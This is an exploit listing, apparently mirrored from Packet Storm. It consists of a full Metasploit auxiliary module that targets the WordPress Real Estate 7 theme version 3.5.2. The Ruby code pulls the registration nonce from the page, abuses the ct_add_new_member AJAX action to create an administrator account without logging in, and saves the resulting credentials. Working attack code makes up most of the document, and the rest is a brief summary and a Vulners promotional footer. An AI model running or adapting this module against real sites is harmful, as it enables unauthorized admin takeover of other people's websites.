Lucene search
K

📄 WordPress Real Estate 7 3.5.2 Privilege Escalation

🗓️ 04 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 115 Views

Metasploit module exploits WordPress Real Estate 7 3.5.2 to register an administrator.

Code
=============================================================================================================================================
    | # Title     : WordPress Real Estate 7 3.5.2 User Registration Privilege Escalation via ct_add_new_member AJAX Action                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://mhthemes.com/wp-themes/wp-pro-real-estate-7-wordpress-theme/                                                        |
    =============================================================================================================================================
    
    [+] Summary    :  This Metasploit auxiliary scanner module targets a privilege escalation vulnerability in certain WordPress installations. 
                      The flaw allows unauthenticated attackers to register a new user account with administrator privileges by abusing the ct_add_new_member AJAX action.
    
    [+] The module works by: Initial Probe Sending a request to the WordPress registration page to detect the presence of vulnerable components such as:
    
    ct_add_new_member
    
    ct_register_nonce
    
    [+] Nonce Extraction Parsing the registration page using flexible regular expressions to extract a valid registration nonce.
    
    [+] Privilege Escalation Attempt Submitting a crafted POST request to /wp-admin/admin-ajax.php with:
    
    ct_user_role set to administrator
    
    The extracted nonce
    
    Attacker-controlled username, email, and password
    
    [+] Strict Success Validation Verifying exploitation success by:
    
    Checking for HTTP 200 response
    
    Ensuring Content-Type includes application/json
    
    Parsing JSON response and validating multiple success patterns (true, "true", 1)
    
    
    [+] POC   :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'json'
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WordPress User Registration Privilege Escalation',
            'Description' => %q{
              Exploits a vulnerability in WordPress allowing administrator registration
              via the 'ct_add_new_member' AJAX action.
            },
            'Author' => ['indoushka'],
            'License' => MSF_LICENSE,
            'DisclosureDate' => '2024-01-01',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
            OptString.new('USERNAME_PREFIX', [true, 'Prefix for generated usernames', 'wp_admin_']),
            OptString.new('PASSWORD', [true, 'Password for the new user', 'P@ssw0rd123!']),
          ]
        )
      end
    
      def run_host(ip)
        username = "#{datastore['USERNAME_PREFIX']}#{Rex::Text.rand_text_alpha(5).downcase}"
        email = "#{username}@example.com"
        password = datastore['PASSWORD']
    
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'register'),
          'method' => 'GET'
        })
    
        return unless res && res.code == 200
        unless res.body =~ /ct_add_new_member|ct_register_nonce/i
          vprint_error("#{ip} - Target does not appear to have the vulnerable component.")
          return
        end
    
        nonce = extract_nonce(res.body)
        unless nonce
          vprint_error("#{ip} - Nonce not found (Registration might be disabled or hidden)")
          return
        end
    
        print_status("#{ip} - Found nonce: #{nonce}. Registering admin: #{username}")
        exploit_res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
          'method' => 'POST',
          'vars_post' => {
            'action'               => 'ct_add_new_member',
            'ct_user_login'        => username,
            'ct_user_email'        => email,
            'ct_user_pass'         => password,
            'ct_user_pass_confirm' => password,
            'ct_user_role'         => 'administrator',
            'ct_register_nonce'    => nonce,
            'ct_user_terms'        => 'on'
          }
        })
    
        if exploit_res && exploit_res.code == 200
          return unless exploit_res.headers['Content-Type']&.include?('json')
    
          begin
            json = JSON.parse(exploit_res.body)
            if json['success'] == true || json['success'].to_s == 'true' || json['success'].to_i == 1
              print_good("#{ip} - SUCCESS! Admin account created.")
              report_admin_cred(ip, username, password)
            else
              vprint_error("#{ip} - Failed: #{json['data'] || json['message'] || 'Unknown error'}")
            end
          rescue JSON::ParserError
            vprint_error("#{ip} - Response was not valid JSON.")
          end
        end
      end
    
      def extract_nonce(body)
        patterns = [
          /<input[^>]+(?:name|id)=["'](?:ct_register_nonce|_wpnonce)["'][^>]*value=["']([A-Za-z0-9_-]+)["']/im,
          /<input[^>]+value=["']([A-Za-z0-9_-]+)["'][^>]*(?:name|id)=["'](?:ct_register_nonce|_wpnonce)["']/im
        ]
    
        patterns.each do |pattern|
          return $1 if body =~ pattern
        end
        nil
      end
    
      def report_admin_cred(ip, user, pass)
        service_data = {
          address: ip,
          port: rport,
          protocol: 'tcp',
          service_name: (ssl ? 'https' : 'http'),
          workspace_id: myworkspace_id
        }
    
        credential_data = {
          origin_type: :service,
          module_fullname: self.fullname,
          private_type: :password,
          private_data: pass,
          username: user,
          realm_key: Metasploit::Model::Realm::Key::HTTP_HOST,
          realm_value: ip
        }.merge(service_data)
    
        credential_core = create_credential(credential_data)
    
        create_credential_login({
          core: credential_core,
          status: Metasploit::Model::Login::Status::UNTRIED
        }.merge(service_data))
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation